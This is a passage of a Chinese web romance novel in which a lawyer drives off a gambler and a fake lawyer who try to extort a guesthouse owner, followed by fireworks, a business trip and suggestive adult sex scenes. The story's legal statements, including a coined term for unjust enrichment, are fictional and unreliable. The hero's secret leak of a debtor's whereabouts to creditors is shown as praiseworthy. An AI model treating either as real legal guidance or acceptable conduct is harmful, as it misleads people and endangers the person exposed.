“你不用威胁我,我身正不怕影子斜。”温昭宁指着门口,“现在,请你们从我家离开。” “嘿,你还真油盐不进。”吴亮气得不行,“你信不信我真去告你诈骗,告你侵占他人房产,让你坐牢!” “让我听听,怎么个告法?”门口忽然传来贺淮钦的声音。 温昭宁转头,看到贺淮钦正从外面进来。 他怎么来了? 温昭宁脑子里刚闪过这个念头,随即又想到,贺淮钦是律师,他一定知道她当初购买老宅的合同合不合法。 她赶紧走到贺淮钦身边,低声地将事情的来龙去脉讲给贺淮钦听,并把手机相册里的购房合同找出来,递给贺淮钦看。 贺淮钦快速地扫了一眼,说:“合同没有问题,产权清晰,购买的价格看似不高,但悠山村地处偏远,本身房价很低,在你购买时这个房子更是年久失修,所以这个价格是合理的。房子原主人现在过来闹,纯粹是看中了你改造后的增值,这在法律上叫做‘滥用不当得利返还请求权’,法院不会支持的。” 温昭宁感觉自己被喂了一颗定心丸。 这一刻,她觉得贺淮钦让她安全感爆棚。 “那接下来该怎么办?”她问。 贺淮钦看了一眼吴亮和他身边的那个号称律师的男人,气定神闲地问:“是哪条律法给你们的勇气,让你们觉得这次过来可以讹到钱?” “什么讹钱?我这是来要回我该得的钱。”吴亮指了指自己带来的那位杨律师,“杨律师可是我从耀华律所青城分所请来的高级律师,他说当初买卖合同存在不公平的情形,那就是存在不公平的情形!” “杨律师?耀华律所青城分所的高级律师?” “是啊,怎么了?杨律师,把你刚才说过的话再重复一遍!” 杨律师机器人似的一字一顿地重复:“我当事人认为,当初买卖合同存在显失公平的情形,根据合同法第十四条,我的当事人吴先生有权请求变更或撤销。” “合同法第十四条是什么啊?”贺淮钦差点笑了,“你好好想想到底是第几条。” 杨律师明显慌乱地看向吴亮,吴亮有些心虚地扯响喉咙:“不是,这位先生,你谁啊,你问那多你懂法律吗?” “自然是没有你们懂。” 吴亮压根没有听出来贺淮钦话里的反讽之意,他还沾沾自喜:“知道没我们懂就好!” 这下,贺淮钦真的笑了。 “两位,第一,订立合同显失公平的情况,当事人一方有权请求人民法院或者仲裁机构变更或者仲裁,这是《中华人民共和国合同法》第五十四条,不是第十四条。第二,耀华律所在青城根本没有分所,你们两位台词都没有背利索,自己的身份都没有搞清楚,就敢串通过来演戏讹钱,你们这种骚扰,已经涉嫌敲诈勒索,你们要是再不走,坐牢的可就是你们二位了。” “你在胡说八道什么?杨律师真的是律师!还有,你怎么知道耀华律所在青城没有分所的?” 温昭宁在旁实在听不下去了:“他是耀华律所的创始人,你说他怎么知道的?” “耀华律所的创始人?你们瞎编也别编得这么离谱好不好!” “哪儿有你们离谱,在鲁班面前耍一把假大刀还想吓唬人。”温昭宁怼。 贺淮钦懒得和这两个人自证身份,他看着那位杨律师:“杨律师,我看你好像对律法不是很熟悉,我提醒你一句,冒充律师是违法行为,需要我报警核实你的身份吗?” “我……我没有冒充,我有证的。” “那就把你的证拿出来看看,律师执业证号都是公开可查的,或者,我们现在就去司法局问问?” 杨律师张了张嘴,一下说不出话来了。 “你们商量一下,是等我报警,还是你们自己走。” 吴亮气得要命,这个杨律师的确是他花钱请来演戏的托,大字不识几个,背条律法花了整整一天还给背错了。 他抬手指了指温昭宁,恶狠狠地说:“算你狠,我们走着瞧。” 话落,两人灰溜溜地走了。 贺淮钦见这两人走远,转身安抚温昭宁:“放心,我不会给他机会与你走着瞧的。” 温昭宁见危机解除,长舒了一口气。 母亲姚冬雪全程在旁目睹,忍不住朝贺淮钦竖起大拇指:“果然还得是律师出马,今天真是多亏了贺先生了。” “应该的,阿姨。”贺淮钦在姚冬雪面前,完完全全又是另一副乖巧的姿态。 姚冬雪满意极了,她拉着温昭宁走到边上,轻声说:“这个青柠爸爸我可太喜欢了,你一定得好好把握住!” -- 贺淮钦派人一查,才知道吴亮是个赌鬼。 他的父亲跟他移居青城的第二年就意外去世了,什么父亲患癌要卖房子都是幌子,他就是又好赌,又想给自己立孝子牌坊,不想让村里的人都知道他是个败家子罢了。 吴亮现在欠了很多的赌债,债主正在到处找他。 贺淮钦助人为乐,派人将吴亮的行踪透露给了债主,吴亮估计这辈子都没有机会来找温昭宁的茬了。 民宿的潜在风险解除,温昭宁很高兴。 “贺律,这次真是多亏了你,谢谢你。” “不白帮忙。”贺淮钦说,“支付一下律师费。” “你那么贵,我可支付不起律师费。” “也可以用别的方式抵扣。” 温昭宁想起那晚走廊,他眼底明灭的情欲,忍不住吐槽:“你一天到晚想着那件事。。” “哪件事?” “你少装傻。” “我真的不知道。” “真会装。” 贺淮钦笑:“温老板,我只是想让你陪我再去看一次烟花而已,是你怎么一天到晚想着那件事,思想这么不纯洁?” 温昭宁脸颊红起来:“看烟花?” “不然呢?” 温昭宁一瞬无地自容:“什么时候?” “明天夜里?” “好吧。” “怎么?失望了?” “当然不是,我要准备什么吗?” “你什么都不用准备,穿暖和点就行。” 第二天,贺淮钦去镇上买了很多的烟花。 夜里,温昭宁和边雨棠交班后,她就离开了民宿,上了贺淮钦的车。 贺淮钦开车带她去了酒庄的施工现场,这几日,水泥地基已经成型,原本的田野变得更开阔,正适合放烟花。 贺淮钦下了车,绕到车尾打开后备箱。 温昭宁跟过去一看,惊呆了。 贺淮钦的后备箱里装了好多烟花,长筒的、方盒的、旋转的、喷花的……包装纸在夜色下反射着斑斓的光彩,像一整个被压缩的梦幻空间。 “这么多?放一晚上都放不完吧。”后备箱里的烟花,搞批发都快够了。 “嗯,不知道你喜欢哪种,就都买了点,挑你喜欢的,放不完就拿回去放在民宿,逢年过节助个兴。” 他想得还挺周到的。 温昭宁挑了一个最大的烟花:“就这个吧。” “好。” 贺淮钦把烟花搬到安全空地,按照燃放说明找到引线,然后掏出了打火机,但他没有立刻点燃,而是回头看向站在几步之外的温昭宁。 她站在清冷的星光下,背后是深蓝近乎墨黑的天幕,夜风吹起她的长发和围巾,让她美得像一幅会动的油画。 “温昭宁!”他喊她的名字,声音在夜风里格外的清晰,“看好咯!” “嗤——” 引线被点燃,迸发出细小的金色花火。 下一秒。 “咻——砰!” 第一束光挣脱束缚,利剑般划破厚重的黑暗,直刺苍穹,在最高点轰然绽开,流光溢彩的花瓣恣意伸展,瞬间点亮了半边天空,也照亮了温昭宁仰起的脸庞。 紧接着,是第二发、第三发……不同颜色,不同形状的光芒接连不断地升空、绽放。 贺淮钦走到了温昭宁的身边,牵住她的手,与她并肩而立,但他没有看烟花,他的目光从始至终都在她的脸上。 她眼中跳跃的光点,她带着笑意的嘴唇,都比烟花更璀璨。 -- 这箱烟花很快放完。 贺淮钦又从后备箱里搬出了另一箱。 温昭宁看了眼包装:“这不是和上一个烟花一样吗?” “嗯。” “放两个一模一样的烟花干什么?” “第一个烟花,给你观赏,第二个烟花,为我们助兴。” 助兴? 温昭宁还没明白他的意思,贺淮钦已经再次点燃了烟花,但这一次点燃后,他没有牵着温昭宁的手站在那里观赏,而是拉住她的手腕快步朝两米开外的车子走去。 “干什么?”温昭宁不明所以,脚步有些踉跄。 贺淮钦没有回答,另一只手已经拉开了车后座的门。 他几乎是半扶半揽地将她送进车内,自己也紧随而入。 “嘭。” 车门关上的瞬间,外界震耳欲聋的轰鸣和铺天盖地的光亮骤然被隔绝了大半,车厢变成了一个相对昏暗、密闭的静谧空间,只有烟花的光芒透过车窗玻璃,忽明忽暗地闪烁进来,映照着彼此模糊的轮廓。 一样的地方,一样的烟火,一样的车,还有一样的一对人。 温昭宁忽然懂了贺淮钦的那句“助兴”,原来就是场景重现。 “你……”温昭宁刚吐出一个字,剩下的话语就被他全都堵了回去。 贺淮钦倾身过来,温热的手掌托住她的侧脸,另一只手,不知何时已经松开了她的手腕,转而落在她的腰间,将她更稳固地拥向自己。 他吻得灼热又迫切,在她启唇的刹那就深入掠夺,搅得她乱了呼吸的节奏。 车窗外的天空,最后的“星空瀑布”正流淌到尾声。 温昭宁的眼睛里已经看不到任何烟花了,她只看到贺淮钦步步失控。 不知吻了多久,在外部世界最后一丝光亮湮灭,彻底陷入黑暗与寂静的那一刻,贺淮钦的身体燃起了更炽热的“烟花”。 “宁宁……”他的额头抵着她的额头,呼吸急促地唤着她的名字。 黑暗中,温昭宁的眼睛已经适应了微弱的光线,她能看到贺淮钦近在咫尺的瞳仁里,那场汹涌的风暴。 “贺淮钦,我生理期。” 贺淮钦一怔:“你生理期不是这个时候。” 她的生理期,他一直记得清清楚楚。 “我最近总是熬夜有点累,可能是激素紊乱了,生理期也变得有些乱了。” 贺淮钦目光灼灼,深深地看着她:“你刚才怎么不说?” “我一开口你就吻我,我哪里有机会说?”温昭宁轻笑,“而且,你不是说只是带我来看烟花,是我思想不纯洁吗?那请问思想纯洁的贺律,刚刚是在干什么啊?” 贺淮钦手指摩挲着她微微发烫的皮肤,缓了片刻说:“我下车抽根烟。” 温昭宁点点头。 贺淮钦推门下了车,车外,万籁俱寂,夜风簌簌。 他吹了几秒的风,又坐回车里。 “怎么了?”温昭宁问。 “忘带烟了。” “那怎么办?” 他现在可是烈火缠身。 贺淮钦握住温昭宁的手,放到唇边,吻了吻她白皙的手背和纤长的手指。 “辛苦它,灭灭火。” 第70章 我女儿 回民宿的路上,温昭宁一路呼吸不匀。 开车的贺淮钦倒是神清气爽。 她想到刚才,他吻着她,把着她的手…… 一番折腾后,贺淮钦那一身邪火,最后全都渡到了她的身上,现在,是她身上炸起了烟花,欲壑难填。 车子开到民宿门口停下,贺淮钦先下车,绕过车头为温昭宁打开了车门。 她下车时,脸颊和耳根的热度还没有散尽,原本白皙的肌肤红红的,像一朵娇艳欲滴的花。 “温老板,还满意今晚的烟花吗?”贺淮钦问。 “你满意吗?”温昭宁反问。 “满意,每次和温老板一起看烟花,都是不同的体验,我每一次都很满意。” “你满意就好。”毕竟,这是他要的律师费。 温昭宁气呼呼地率先进门。 贺淮钦一边把剩余的烟花搬下来,一边看着她的背影笑。 今晚是边雨棠在值班,边雨棠正在写脚本,听到门轴转动的吱呀声抬起头来。 “宁宁,你回来啦。”边雨棠站起来,松了松脖子,“不是说去看烟花吗?怎么这么快回来?” 快吗? 刚刚在车厢里,温昭宁可觉得时间一分一秒都太慢了。 “就在酒庄那里,可能是路上来回没怎么花时间,所以你觉得很快。” “好看吗?” “嗯,挺美的。”温昭宁含糊地应着,低头解围巾,试图掩饰自己脸上不自然的红晕。 “哦,对了,刚才你走没多久,送来了几批日用品的物料,送货单需要你签收一下。”边雨棠将几张送货单放在台面上。 “好的。” 温昭宁走到边雨棠的面前,从笔筒里抽出常用的那支签字笔。 第一张单子是新的床品供应商,她握着笔,笔尖悬在签名栏的上方,顿了顿,才落下去,可手在碰到纸面的瞬间,还是不受控地抖了一下,划出一道歪斜的短痕。 因为手抖,那个“温”字写的笔画虚浮,结构松散。 边雨棠注意到温昭宁不对劲:“宁宁,手怎么了?扭伤了吗?” “没……没扭伤。”温昭宁下意识地甩了甩手。 这个动作落在边雨棠的眼里,再结合温昭宁明显比平时红润的脸色和闪躲的眼神,她一下就明白了什么。 边雨棠“噗嗤”一声笑出来,她探过身子,压低声音:“没扭伤,这是做了什么啊,抖成这样?” “做”字被她加了重音,意味深长。 温昭宁的脸“轰”的一下,彻底红透了:“雨棠姐!” 边雨棠笑意更深:“我早看出来你和那位贺先生之间暗流涌动,老实交代,你和他到底是什么关系?” 温昭宁想到今晚在车里时贺淮钦对她的那一番折腾,害她现在手抖得止不住,决定先不给他转正:“前男友。” “前男友?你俩谈过啊?” 温昭宁点点头,用嘴型对边雨棠说了两个字:“初恋。” “行啊你,小小年纪吃这么好!”和贺淮钦这个优秀的初恋一对比,边雨棠更觉得自己当初看上姚志修真是瞎了眼了。 温昭宁笑起来。 两人正说话,贺淮钦进来了。 他把后备箱的那些小烟花都搬进了民宿后面的仓库,来回几趟,出了身薄汗,他把风衣外套脱了,搭在臂弯里,更显英俊挺拔。 “我去上个洗手间。”边雨棠冲温昭宁眨眨眼,压低了声音说:“改天再和我仔细唠唠。” 温昭宁比了个“OK”的手势。 贺淮钦见两人笑得神秘兮兮的,问:“在聊什么?” “在聊我的手为什么签字会抖。”温昭宁没好气。 “我的错。”贺淮钦握住温昭宁的手,轻轻地给她按摩,“都怪我没有克制住。” 当然,最主要也是素太久了。 “好了。”温昭宁抽回手,对他说:“你上去休息吧。” “还想和你再待一会儿。” “你少肉麻了,又不是明天见不着了。” “明天还真见不着了,我明天出差,飞一趟意大利,早上六点的飞机。” “啊?”这段时间贺淮钦一直在温昭宁眼皮子底下,他忽然说要去出差,温昭宁的心瞬间空空的,“去几天?” “一周。” 一周好久。 她满心不舍,但也知道,贺淮钦不可能一直被困在这小小的民宿中,这段时间对他来说,已经是例外。 “好,那一周后见。” 贺淮钦伸手抱了抱他,在她耳边哑着声音说:“一周后,我要你。” -- 贺淮钦出差的几天里,民宿照常运转,酒庄那边也正常施工。 温昭宁每天将自己的日程排得满满当当的,从清晨睁眼忙到深夜闭眼,仿佛这样就能忽略掉心里那一小块空落落的地方。 贺淮钦每天都会发来消息,有时候是简单的“早安”、“晚安”,有时候是分享一张异国街景或一片奇特的云,有时候是几句工作进展,言简意赅,却稳定持续,像一根细细的线,牵连着大洋两端。 温昭宁每次看到信息,都会第一时间回复,可她的第一时间,和他也隔着时差,这种聊胜于无的交流,像在干燥的思念上浇了一小勺油,非但不能平息,反而让那火苗烧得更旺,更灼人。 思念无孔不入,她开始失眠。 失眠的感觉让她觉得糟糕,她甚至赌气地想,这半年多没有贺淮钦,不也过得好好的,她一个人改造老房子,一个人打理民宿,一个人做自媒体,一个人面对风雨,那种独立和自足,曾是她的骄傲和铠甲,怎么贺淮钦来过一下之后,她好像忽然没他就不行了? 她终于不得不承认,她根本没有真正放下过他,所以贺淮钦轻而易举地再次掌控了她情绪的遥控器。 还有一个越来越放不下贺淮钦的人,就是青柠。 青柠不知道贺淮钦去国外出差了,周六一放假,她就跑来民宿找贺淮钦,当时温昭宁正好去了酒庄,不在民宿,青柠找不到妈妈,也找不到贺淮钦,就跑去找前台鹿鹿。 “鹿鹿姐姐,我妈妈和贺叔叔呢?” “你妈妈去酒庄了,贺叔叔不在民宿哦。” “什么叫贺叔叔不在民宿,他走了吗?”青柠的声音,登时起了哭腔,“贺叔叔已经离开民宿了吗?” 鹿鹿见青柠眼里泛起泪花,赶紧蹲下来解释:“不是的青柠,贺叔叔没有离开民宿,他只是去国外出差了而已,他的房间都还保留着呢。” 青柠心思敏感,隔离那五天形影不离的陪伴,已经让她将贺淮钦纳入“家人”的范畴,骤然分离,让她感觉到了强烈的不安,一想到贺淮钦早晚会离开这里,她彻底绷不住了,哇哇大哭起来。 鹿鹿吓了一大跳。 正好,温昭宁从酒庄那边回来,听到青柠的哭声,她快步走进院子。 “怎么了?发生什么事了?” 鹿鹿举起双手:“昭宁姐,我可没有欺负青柠啊,是她找不到贺先生,以为贺先生走了,就哭了起来。” 温昭宁见女儿失落又惶恐的样子,心里像是被针扎了一样,细细密密地疼起来,她走到女儿身边,将她搂进怀里,温柔地抚摸着她的后背:“青柠乖,叔叔只是去出差了而已,他并不是离开,而是有工作要忙,等他忙完工作,就会回来看青柠的。” 青柠的不安不是温昭宁几句话就能消除的。 她小小的身体随着哭泣微微抽动着:“妈妈,我可以和叔叔通电话吗?我要自己问他。” “你可以和叔叔通电话,但要等他方便,因为叔叔现在不一定有空。” “那你发信息问问他什么时候有空,我们可以约一个时间打电话。” “好,妈妈现在帮你问。” 温昭宁从包里拿出手机,点开贺淮钦的微信头像:“青柠来民宿了,没有见到你有点难过,你什么时候方便,给她回个电话。” 信息发出去后没几秒,温昭宁的手机屏幕骤然亮起,伴随着一阵急促的震动。 贺淮钦直接打来了视频电话。 -- 意大利,某家私密性极好的高级餐厅包厢。 贺淮钦正与几位律所的资深合伙人聚餐,这几个人都是他多年的合作伙伴,也是少数能和他平起平坐,在专业和人情上都算得上朋友的同侪。 席间气氛比寻常商务宴请都要轻松许多,话题从近期几桩棘手的跨境并购案,渐渐转到席上新开的那瓶年份很久的葡萄酒,其中一个懂酒的合伙人正侃侃而谈。 贺淮钦脱了西装外套,只穿着挺括的白衬衫,他正低头回复客户的信息,没有参与话题。 就在这时,微信里跳出一条信息。 是温昭宁发来的。 “青柠来民宿了,没有见到你有点难过,你什么时候方便,给她回个电话。” 贺淮钦想到那个小小的人儿,心脏某处像是被这行字轻轻烫了一下,泛起一阵陌生而温热的悸动。 没有犹豫,他直接点开了视频通话的按钮。 视频拨通的等待音在略显嘈杂的包厢背景音里,显得有些突兀。 几位合伙人注意到了他的动作,说话声和笑声不自觉地低了下去,大家都很好奇,能让贺淮钦在这种场合突然中断社交、急切拨打视频的人会是谁? 视频很快接通了。 手机屏幕上首先出现的是一张放大的、粉雕玉琢的小脸。 “叔叔!”视频通话一接通,青柠就兴奋地叫了起来,她的小脸,几乎要贴到屏幕上,好像这样就能和贺淮钦靠得更近,“叔叔,你去哪里啦?” 脆生生的童音,透过手机扬声器,清晰地传了出来,瞬间吸引了所有人的注意。 贺淮钦原本冷硬的眉眼,在看到青柠小脸的瞬间,以肉眼可见的速度柔和了下来,为了让青柠更清晰地看到自己,他甚至微微调整了一下坐姿。 “叔叔在出差,等叔叔回来,就陪你玩好不好?” 他的声音,与平时在律所和谈判桌上的沉冷截然不同,带着一种近乎宠溺的温和。 “好。叔叔,你在干什么呀?” “我在和朋友吃饭呢,青柠在干什么呀?今天有没有乖乖?” “乖!我今天帮外婆摘菜了,还自己吃了好多的饭饭。”青柠开始叽叽喳喳地汇报,小嘴巴嘚吧嘚吧从幼儿园的新朋友说到小马驹星星,又从星星说到老师奖励给她的小红花。 贺淮钦耐心地听着,时不时“嗯”、“你真棒棒”这样温柔地回应着。 包厢里几位见惯了大风大浪、早已练就喜怒不形于色的律所合伙人,此刻全都安静下来,生怕打扰了电话那头的小女孩说话。 大家你看看我,我看看你,面面相觑,眼神里充满了惊愕。 这是……贺淮钦? 那个在法庭上言辞犀利、寸土不让,在谈判桌上气场逼人、压迫感十足的贺淮钦? 他刚才说“你真棒棒”? 真棒棒? 叠词? 樊律师手里的酒差点没有拿稳,他眨了眨眼,看向身旁同样愕然的李律师,轻声问:“什么情况?” 李律师耸耸肩,表示自己也不知道。 众人朝坐在贺淮钦身边的方律师疯狂使眼色,方律师肩负着整个包厢的八卦之欲,悄悄地往贺淮钦身边挪了挪位置,凑近了些,伸长脖子,试图窥探一下视频那头能拿捏贺淮钦的小女孩到底长什么样。 可惜,贺淮钦是防窥屏,什么都看不到。 “好了,青柠,叔叔在和朋友吃饭呢,差不多了哦。”手机里又传来一道温柔的女声。 众人更疯狂地朝方律师使眼色,甚至还有人在桌下踢了方律师的脚。 方律师无奈地用口型说:“看不到。” 众人恨铁不成钢,坐这么近都看不到,戴这么厚的近视眼镜有什么用? “好吧,那叔叔再见哦,等你回来。” “好,再见。” 视频结束,屏幕暗了下去。 包厢里陷入了一阵诡异的安静,几位合伙人的目光齐刷刷地聚焦在贺淮钦的脸上,充满了探究。 贺淮钦放下手机,脸上那抹罕见的柔和迅速褪去,恢复了惯常的平静无波,仿佛刚才那个对着手机哄孩子的男人,只是他们的幻觉。 樊律师第一个没忍住:“贺律,刚才那个小女孩是谁啊?” 贺淮钦最近神龙见首不见尾,推了好几个重要的应酬,难道和这个小女孩还有刚才那个只说了一句话的女人有关? “是我女朋友的女儿。”贺淮钦喝了一口酒,大大方方地说,“以后也会是我女儿。” 第71章 再来一次 贺淮钦出差的第六天,温昭宁发信息问他:“明天几点的航班?” 他的大G一直停在民宿门口,临走时,贺淮钦把车钥匙留给了温昭宁,温昭宁想着,问到他的航班信息后,就提前去机场接他,给他一个惊喜。 可这条信息,贺淮钦迟迟没回。 夜里,温昭宁值班。 秋天的山村,格外寒凉,民宿的客人大都早早回房间休息了,大堂里只留了几盏暖黄的壁灯,壁炉里添了新柴,火光跳跃,驱散着空气中的寒意。 温昭宁坐在前台,面前摊着账本和明天的工作安排,手边放着一杯热气袅袅的红枣茶。 她翻阅着账本,又时不时看一眼手机。 这么晚了,贺淮钦还是没有回复她,是在忙?是没看到?还是其他什么原因没有回复? 温昭宁不想猜,但还是忍不住会想。 “铛、铛、铛……” 墙上的老式挂钟,敲了十一下,夜深了。 温昭宁核对完最后一笔账目,合上账本,揉了揉有些发涩的眼睛,正准备起身去检查一下壁炉,就听见民宿大门外,传来汽车停下的声音。 这么晚了,还有客人来? 她有些疑惑,走向门口。 刚走到门廊下,厚重的木门就被人从外面推开了。 一股深秋夜风特有的寒气,卷着一道风尘仆仆的高大身影,一同涌了进来。 温昭宁的脚步,瞬间被定在了原地。 是贺淮钦。 贺淮钦回来了! “你怎么回来了?不是说要一周吗?” “事情提前解决了。” “那你怎么不告诉我?” “就是想看到你现在的表情。” “什么表情。” “惊喜的表情。” 温昭宁的眼睛,原本就是极好看的形状,瞳仁很黑,像是浸在清泉里的墨玉,此时沾染了惊喜,更是晶亮闪烁。 贺淮钦最喜欢看着她对他笑的样子,梨涡浅浅,美得独一无二。 从进门开始,他的目光就一直在她身上,从未离开半分。 温昭宁被他看得有点不好意思了,想要去推他的行李箱,贺淮钦伸手一捞,就把她搂进了怀里。 “诶!” 温昭宁猝不及防,整个人一僵,但很快,在他温暖的怀抱中,她紧绷的身体瞬间软了下来。 “想不想我?”贺淮钦手臂收得很紧,仿佛要将这几天分离的时光,都挤压进这个紧实无间的拥抱里。 “你想不想我?”温昭宁反问。 “想,很想。” 他的脸颊贴着她的鬓角,呼吸有些重,拂过她的耳廓,激起一阵细微的战栗。 温昭宁偏头躲了一下,就被他捏住了下巴,吻上来。 “别,楼上有人出来的话会看到的。”温昭宁赶紧推开他。 “那就找个不会有人看到的地方。” 贺淮钦拉着温昭宁走到角落的枣树下,枣树枝桠繁茂,在朦胧的月光下,投下一片相对浓密隐蔽的阴影,几乎能将两人的身影完全挡住。 这个角落,离前院和大堂的视线也远了许多。 两人站定后,贺淮钦抬手捧住了温昭宁的脸颊。 温昭宁抬眸看向他,那双凝视她的眼睛,在树影的遮掩下,比方才更加的幽深,里面翻涌的渴望几乎要溢出来了。 分别六天,她又何尝不想他? 那些独自对着星空的夜晚,那些下意识寻找他身影的瞬间,那些隔着屏幕也无法完全传达的牵挂……此刻在他滚烫的注视下,全都化作了同样炽热的回应。 温昭宁没有再扭捏,在他低头吻下来的瞬间,她闭上了眼睛,同时,手臂主动且坚定地环上了他的脖颈。 她的回应让贺淮钦的吻变得更加深入更加炽热,他的唇舌有力地撬开她的齿关,长驱直入,攻城略地,不留一丝缝隙。 这个积蓄了很多思念的吻,激烈、绵长、不知疲倦。 直到两人都乱了呼吸,贺淮钦才停下来,稍稍与她的唇瓣分离。 “我能感觉到,温老板也很想我。”贺淮钦喘息着说。 温昭宁轻轻地“嗯”了一声。 这一个字,像火星溅入了干柴。 贺淮钦的喉咙里发出一声压抑的低叹,他再次低头,吻住了她。 这一次的吻,温柔了许多,却也更加缠绵悱恻。 六天分离的时光,在两人的亲密拥吻中被悄然缝合。 -- 枣树下的吻差点失控,要不是贺淮钦的手机忽然响了,温昭宁觉得自己今晚怕是很难收场。 是意大利那边的同事找他,要贺淮钦传送一份紧急文件。 贺淮钦被迫停下了那个缱绻的吻,拎着行李箱和电脑包上楼去处理工作。 温昭宁回到前台整理了一下账本,时间也不早了,她洗漱了一下,回到小屋,换上她的睡裙,准备睡觉。 她刚要关灯,木板门响起轻微的敲门声。 “叩、叩、叩。” 门后虽然上了不锈钢插销,但温昭宁的心还是一紧。 “谁?” “是我。” 是贺淮钦的声音。 温昭宁神经放松下来,但心跳随即加快。 这么晚了,他还下来干什么? 她下意识地低头看了一眼自己身上的睡衣,款式虽然保守,但毕竟是睡衣,而且里面真空…… “等一下。” 温昭宁穿上内衣,披了件外套,下床去打开插销门锁,将门拉开了一道缝隙。 贺淮钦显然刚洗过澡,黑发半湿,几缕发丝随意地垂落在额前,他身上穿着深灰色的竖条纹睡衣,很简单的款式,却被他穿出了高奢的感觉。 院里清冷的月光,交织着落在他的身上,将他高大的身影勾勒得有点朦胧,却愈发显得肩宽腿长。 “怎么了?”温昭宁扶着门,轻声问。 “给你们带了些礼物。”他手里拎着三个袋子,“不让我进去吗?好冷。” “好冷”两个字他说得可怜巴巴的。 温昭宁握着门的手松开了,这个默许的动作被贺淮钦捕捉到,他立刻推门而入。 小屋休息室真的很小,贺淮钦进来后,温昭宁感觉一下连挪步都变得有些困难了。 “这里这么小,你能睡舒服吗?”贺淮钦蹙眉。 “小是小了点,但很暖和,我觉得挺好的,而且,我也不是每天都睡这里。” 贺淮钦不语,只是打量了一眼那张小床,床上铺着粉色的被子,空气里飘着香香的味道,那是独属于她身上的味道。 “礼物。”贺淮钦把手里那三个袋子递给她。 “怎么这么多?” “你的,青柠的,阿姨的。” 他竟然给她们一家人都带了礼物,温昭宁有点感动。 “谢谢。” “打开看看。” “好。” 温昭宁先打开了贺淮钦给母亲买的礼物,包装精美的丝绒盒子里,是一枚古董风格的胸针,胸针主体是白金镶嵌的藤蔓造型,缠绕着一颗不大但火彩流莹的蓝宝石,四周零星点缀着细小的钻石,宛如夜空中凝聚的霜珠,古典雅致,又不失华贵。 这一看就是花了心思的。 温家没有破产的时候,温昭宁的母亲的确喜欢收藏各种各样的胸针,但后来,这些胸针全都卖了去还债,母亲也再没有贵重的衣物需要去搭配胸针。 “这太贵重了。”温昭宁说。 “不贵,恰好遇到,觉得很适合阿姨的气质。”贺淮钦轻描淡写,显然不打算讨论价格,他打开另一个袋子,“你再看看我给你和青柠准备的礼物。” 青柠的礼物是个芭比娃娃,贺淮钦原本想给她买个小马宝莉里的玩偶,可转念一想她已经有了星星,应该对玩偶没什么兴趣了,就按店员推荐,挑了一个据说小女孩都会喜欢的芭比娃娃。 “青柠一定会高兴地跳起来。”温昭宁说。 “希望她会喜欢。” “你送的她肯定会喜欢。” “还有你的。” 贺淮钦从纸袋子里取出一个极小巧玲珑的深蓝色锦缎首饰盒,盒子只有掌心大小,却透着一种内敛的精致。 温昭宁在他的注视下打开了盒盖。 里面是一条白金脚链。 链子细若发丝,却打磨得光华流转,链子中央,缀着一颗非常非常小的月光石,石头几乎透明,只会在某个角度,泛出白白的晕彩,像是将一小片最温柔的月色凝结在了其中,有种惊心动魄的别致和灵秀。 温昭宁还从没有收到过脚链这样的礼物,她自己也从没有买过脚链。 “我在威尼斯看到的。”他低声解释,手指捏着链子的两端,示意她抬起脚,“当地有个古老的说法,脚链栓住今生,系住来世。我觉得今生来世这样的说法过于霸道武断,我想的是,它很轻,不会束缚你,你走路的时候,它可能会轻轻响,或者被阳光、灯光照到,闪一下,这样,无论我在或者不在你的身边,你偶尔低头,或者感受到那一点点的重量和闪光,就会想起我。” 他微微用力,将链子扣在了她纤白的脚踝上。 “不是栓住,是陪伴。”他最后总结道。 温昭宁低头,看着自己脚踝上那么几乎隐没于肤色中的极细银光,那颗小小的月光石随着她的呼吸轻轻晃动,没有沉重,没有束缚,只有一丝几乎察觉不到的存在感和一份沉甸甸的心意。 “谢谢。”温昭宁伸出手,紧紧抱住了贺淮钦,将脸埋在他的胸前,“我很喜欢。” “那现在是不是轮到我拆礼物了?” “可我没有给你准备礼物。” “你就是我的礼物。”贺淮钦呼吸灼热,“宁宁,我想要你,很想很想,分开的每一天都想。” 他的手往下。 温昭宁浑身最敏感的开关被他摁下,她闭上眼睛,近乎献祭般地缴械,防线慢慢崩塌,火种慢慢被点燃。 她紧紧抓着贺淮钦的胳膊,发出低吟。 人都应该诚实地面对自己的欲望。 她承认,这半年,她也很想他,不然,也不会在他出现在民宿后,她就做了那样的春梦。 贺淮钦开始低头吻她。 唇瓣相贴的瞬间,温昭宁的脑子里闪过了之前那个荒唐羞耻的春梦碎片。 昏暗狭小的空间、暧昧朦胧的喘息、肌肤相贴的滚烫……还有他此刻正在给予她的真实无比的触感与温度。 梦境成真了。 唇齿间的纠缠逐渐加深,变得急切、混乱,带着吞没一切的力道。 温昭宁的呼吸被夺走,思绪被搅散,只剩下最原始的感受在血液里奔涌、尖叫,她的指尖陷进他衬衫下紧绷的肩肌。 “现在可以教我了吗?”他忽然伏在她耳边问。 “什么?” “这件没有搭扣的内衣,该怎么脱?” 温昭宁差点笑出来。 看来那日在阳台撞见她晾衣服后,这个难题一直困扰着这位曾经的学霸。 她吻着他的耳廓,轻声说:“搭扣在前面。” “感谢赐教。” “不客气。” 贺淮钦打开了搭扣,带着她,跌跌撞撞地挪向那张狭窄的小床,小床发出不堪重负的吱呀声。 温昭宁仰起脖颈,盯着窗户里漏进来的一丝月光,感觉自己正被点燃,又一点点化成水。 贺淮钦身上确凿的力道,将她梦境中那些羞于启齿的幻想,一一具象,甚至更加的真实。 一切像是梦,又不是梦,比梦境更滚烫、更失控,更让人神魂俱碎。 月光在温昭宁的眼里逐渐涣散。 小小的休息室成了一个与世隔绝的孤岛,只剩下她和他在汹涌的浪潮里,狠狠沉沦。 不知过了多久,风浪暂歇。 温昭宁蜷缩在贺淮钦的怀里,身上覆着一层薄汗。 极致的癫狂过后,小小休息室里是真空般的寂静。 贺淮钦的手臂横在她的腰间,意犹未尽地抚摸着她的脸颊。 万籁俱寂中,忽然一声“咪呜”传来,像一根极细的针,猝然刺破了休息室内粘稠氤氲的氛围。 温昭宁从贺淮钦的怀里弹了起来,脸上瞬间褪去所有迷蒙。 “有声音。”她压低嗓子,手忙脚乱地推开贺淮钦的手臂。 “野猫而已。” 贺淮钦把温昭宁搂回怀里,温昭宁却理智回笼。 “你该走了。” 休息室不太隔音,外面就是空阔的庭院,随时可能会有起夜的客人。 “自己舒服了,就赶我走?”贺淮钦手指摩挲着她,嘴唇吻过她的耳廓,“再来一次,我就走。” 第72章 暧昧游戏 最后,当然不止又来一次。 贺淮钦一贯如此,开了荤就无休无止。 后来温昭宁实在受不了,再三驱赶,才将他赶走。 